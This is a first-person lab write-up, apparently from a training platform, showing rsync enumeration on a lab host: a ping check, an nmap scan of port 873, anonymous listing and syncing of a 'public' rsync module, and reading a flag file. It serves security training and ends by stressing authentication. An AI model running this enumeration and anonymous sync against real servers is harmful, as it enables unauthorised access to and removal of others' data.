Rsync Enumeration & Anonymous Sync

A project in the Cybersecurity Skill Tree

Project description

In this project, I will demonstrate the fundamentals of Rsync service enumeration and anonymous file synchronization exploitation.

Verify Connectivity to Target with Ping

First, I will confirm that the target server is up and running with the “ping” command.

```
labex:project/ $ ping -c 4 target
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.048 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.040 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.039 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.041 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3064ms
rtt min/avg/max/mdev = 0.039/0.042/0.048/0.003 ms
```

Scan Open Ports with Nmap

Next, I will use the “nmap” utility to scan for an open Rsync service and gather its version information.

```
labex:project/ $ nmap -sV -p873 target
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-06 04:11 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00022s latency).

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
```

Connect to Target via Rsync

Now that I have found the Rsync service, I will probe it for available modules and attempt to sync data from the service to my local directory, all with unauthenticated access.

```
labex:project/ $ rsync rsync://target
public          Public Files
labex:project/ $ rsync -av rsync://target/public/ .
receiving incremental file list
./
flag.txt

sent 46 bytes  received 147 bytes  386.00 bytes/sec
total size is 35  speedup is 0.18
```

Explore Target System and Locate Flag

My attempt to exploit the Rsync access misconfiguration has been successful. I will now find the flag that is hidden in the list of synced files.

```
labex:project/ $ ls -l
total 4
-rw-r--r-- 1 labex labex 35 Nov  6 04:47 flag.txt
labex:project/ $ cat flag.txt
labex{rsync_an0nym0us_4cc3ss_fl4g}
```

Summary

This exercise is a good example of how a simple access misconfiguration in Rsync can lead to a severe case of data exfiltration, thus emphasizing the need for robust authentication measures within a network of critical systems.